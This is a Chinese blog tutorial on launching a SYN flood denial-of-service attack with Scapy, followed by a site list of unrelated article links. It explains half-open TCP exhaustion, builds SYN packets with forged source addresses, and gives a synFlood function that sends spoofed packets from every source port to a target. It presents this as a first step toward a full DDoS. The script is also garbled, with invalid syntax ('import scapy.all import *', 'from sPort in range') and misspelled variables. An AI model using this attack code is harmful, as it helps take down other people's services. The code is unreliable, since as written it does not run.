Python项目 基于Scapy实现SYN泛洪攻击的方法


Posted in Python onJuly 23, 2019

python3版本的Scapy--Scapy3k来实现一个简单的DDos。

首先实现SYN泛洪攻击(SYN Flood,是一直常用的DOS方式之一,通过发送大量伪造的TCP连接请求,使被攻击主机资源耗尽的攻击方式)。TCP三次握手的过程在这里就不再赘述,SYN攻击则是客户端向服务器发送SYN报文之后就不再响应服务器回应的报文,由于服务器在处理TCP请求时,会在协议栈留一块缓冲区来存储握手的过程,如果超过一定的时间没有接收到客户端的报文,那么本次连接在协议栈中存储的数据就会被丢弃。攻击者如果利用这段时间发送了大量的连接请求,全部挂起在半连接状态,这样将不断消耗服务器资源,直到拒接服务。

Scapy是一个强大的交互式数据包处理程序,可以用来发送、嗅探、解析和伪造网络数据包。首先需要安装Scapy3k:

sudo pip3 install scapy-python3

Python项目 基于Scapy实现SYN泛洪攻击的方法

现在学习一下scapy的使用方法:

sudo scapy(scapy发送数据包需要root权限)

Python项目 基于Scapy实现SYN泛洪攻击的方法

(警告信息是因为有一些依赖包没有安装,但是我们本次实验不需要使用我就不装了)

现在我们使用Scapy构造一个简单的数据包看一下:

pkt = IP(dst = "192.168.0.10")

Python项目 基于Scapy实现SYN泛洪攻击的方法

接下来我们就构造一个SYN包:

pkt = IP(src="202.121.0.12",dst="192.168.0.100")/TCP(dport=80,flags="S")

Python项目 基于Scapy实现SYN泛洪攻击的方法

(我们构造了一个IP包和TCP包并将它们组合到一块,这样就有了一个完整的TCP数据包,否则是无法发送出去的,IP包中我)们指定了源IP地址src和目的IP地址dst,其中src是我们伪造的地址,flags的值设定为S说明要发送的是SYN数据包)

代码实现:

具体代码如下:

import random
import scapy.all import *
 
def synFlood(tgt,dPort):
  srcList = ['201.1.1.2','10.1.1.102','69.1.1.2','125.130.5.199']
  from sPort in range(1-24,65535):
    index = random.randrange(4)
    ipLayer = IP(stc = stcList[index].dst = tgt)
    tcoLayer = TCP(sport = sPort,dport = dPort,flags = "S")
    packet = ipLayer/tcpLayer
    send(packet)

定义了srcList用于存放伪造的IP地址,之后定义了一个循环,作用是每次发送数据包源端口都改变,可以看到在构造TCP数据包的时候我们增加了一个参数sport,循环中改变的端口号就是给了sport这个参数。我们还调用random.randrange()函数来随机从srcList中获取一个伪造的IP地址。本次实验就算完成,下次实验实现一个完整的Ddos过程。

以上这篇Python项目 基于Scapy实现SYN泛洪攻击的方法就是小编分享给大家的全部内容了,希望能给大家一个参考,也希望大家多多支持三水点靠木。

Python 相关文章推荐
Python 可爱的大小写
Sep 06 Python
Python中列表的一些基本操作知识汇总
May 20 Python
python比较两个列表是否相等的方法
Jul 28 Python
使用Python的Bottle框架写一个简单的服务接口的示例
Aug 25 Python
Python 找到列表中满足某些条件的元素方法
Jun 26 Python
python3学习之Splash的安装与实例教程
Jul 09 Python
python中的单引号双引号区别知识点总结
Jun 23 Python
对django views中 request, response的常用操作详解
Jul 17 Python
Django配置MySQL数据库的完整步骤
Sep 07 Python
Django框架序列化与反序列化操作详解
Nov 01 Python
Python手拉手教你爬取贝壳房源数据的实战教程
May 21 Python
Python数据分析之pandas读取数据
Jun 02 Python
Django logging配置及使用详解
Jul 23 #Python
Python利用scapy实现ARP欺骗的方法
Jul 23 #Python
OpenCV3.0+Python3.6实现特定颜色的物体追踪
Jul 23 #Python
提升Python效率之使用循环机制代替递归函数
Jul 23 #Python
深入了解Django View(视图系统)
Jul 23 #Python
Python Opencv任意形状目标检测并绘制框图
Jul 23 #Python
flask框架单元测试原理与用法实例分析
Jul 23 #Python
You might like
简单采集了yahoo的一些数据
2007/02/14 PHP
PHP中常用的输出函数总结
2014/09/22 PHP
Javascript this指针
2009/07/30 Javascript
[原创]js获取数组任意个不重复的随机数组元素
2010/03/15 Javascript
jQuery点击tr实现checkbox选中的方法
2013/03/19 Javascript
如何将一个String和多个String值进行比较思路分析
2013/04/22 Javascript
Jquery带搜索框的下拉菜单
2013/05/06 Javascript
jquery cookie的用法总结
2013/11/18 Javascript
jQuery EasyUI Pagination实现分页的常用方法
2016/05/21 Javascript
jQuery实现可以编辑的表格实例详解【附demo源码下载】
2016/07/09 Javascript
js原生跨域_用script标签的简单实现
2016/09/24 Javascript
js实现上下左右弹框划出效果
2017/03/08 Javascript
详解vue-cli中配置sass
2017/06/21 Javascript
jquery animate动画持续运动的实例
2017/11/29 jQuery
微信小程序左滑动显示菜单功能的实现
2018/06/14 Javascript
vue 弹出遮罩层样式实例
2020/07/22 Javascript
JavaScript实现滚动加载更多
2020/12/27 Javascript
从零开始学Python第八周:详解网络编程基础(socket)
2016/12/14 Python
基于DataFrame筛选数据与loc的用法详解
2018/05/18 Python
Python3.6日志Logging模块简单用法示例
2018/06/14 Python
Python 带有参数的装饰器实例代码详解
2018/12/06 Python
python模块之subprocess模块级方法的使用
2019/03/26 Python
python+selenium 脚本实现每天自动登记的思路详解
2020/03/11 Python
Nginx+Uwsgi+Django 项目部署到服务器的思路详解
2020/05/08 Python
基于PyQT实现区分左键双击和单击
2020/05/19 Python
Django后端分离 使用element-ui文件上传方式
2020/07/12 Python
墨尔本复古时尚品牌:Dangerfield
2018/12/12 全球购物
在校大学生的职业生涯规划书
2014/03/14 职场文书
维修工先进事迹
2014/05/29 职场文书
社区关爱留守儿童活动方案
2014/08/22 职场文书
会计人员演讲稿
2014/09/11 职场文书
不服从上级领导安排的检讨书
2014/09/14 职场文书
美容院合作经营协议书
2014/10/10 职场文书
2015年党员干部承诺书
2015/01/21 职场文书
六年级数学教学反思
2016/02/16 职场文书
vue修饰符.capture和.self的区别
2022/04/22 Vue.js